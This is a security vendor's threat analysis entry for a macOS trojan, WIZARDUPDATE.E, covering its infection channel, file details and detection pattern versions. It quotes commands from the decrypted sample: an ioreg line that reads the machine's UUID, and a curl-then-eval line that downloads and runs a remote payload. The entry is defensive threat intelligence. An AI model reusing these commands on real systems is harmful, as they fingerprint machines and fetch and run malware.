Trojan.MacOS.WIZARDUPDATE.E

August 24, 2023
 Analysis by: Jayvee Mark Villaroman
 ALIASES:

MAC/Agent.E3CB!tr (FORTINET)

 PLATFORM:

MacOS

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

90,768 bytes

File Type:

Mach-O

Memory Resident:

No

Initial Samples Received Date:

22 Oct 2021

Payload:

Collects system information, Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other Details

This Trojan does the following:

  • The sample connects to a URL to download malware. This download routine is embedded in the cstring section of the sample written in binary format.
  • Upon decryption it shows that the sample gathers hardware information of the machine via this command:
    • ioreg -ad2 -c IOPlatformExpertDevice | xmllint –xpath '//key[.="IOPlatformUUID"]/following-sibling::*[1]/text()'
  • Then using the curl command, it connects to a URL to download a malicious file and then execute it using eval command:
    • MNZPAWE=$(curl --connect-timeout 900 -L "https[://]{BLOCKED}p[.]comhelpermodule[.]com/mnsdf?maid={{$}}");eval "$MNZPAWE"

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.654.04

FIRST VSAPI PATTERN DATE:

24 Aug 2023

VSAPI OPR PATTERN File:

18.655.00

VSAPI OPR PATTERN Date:

25 Aug 2023

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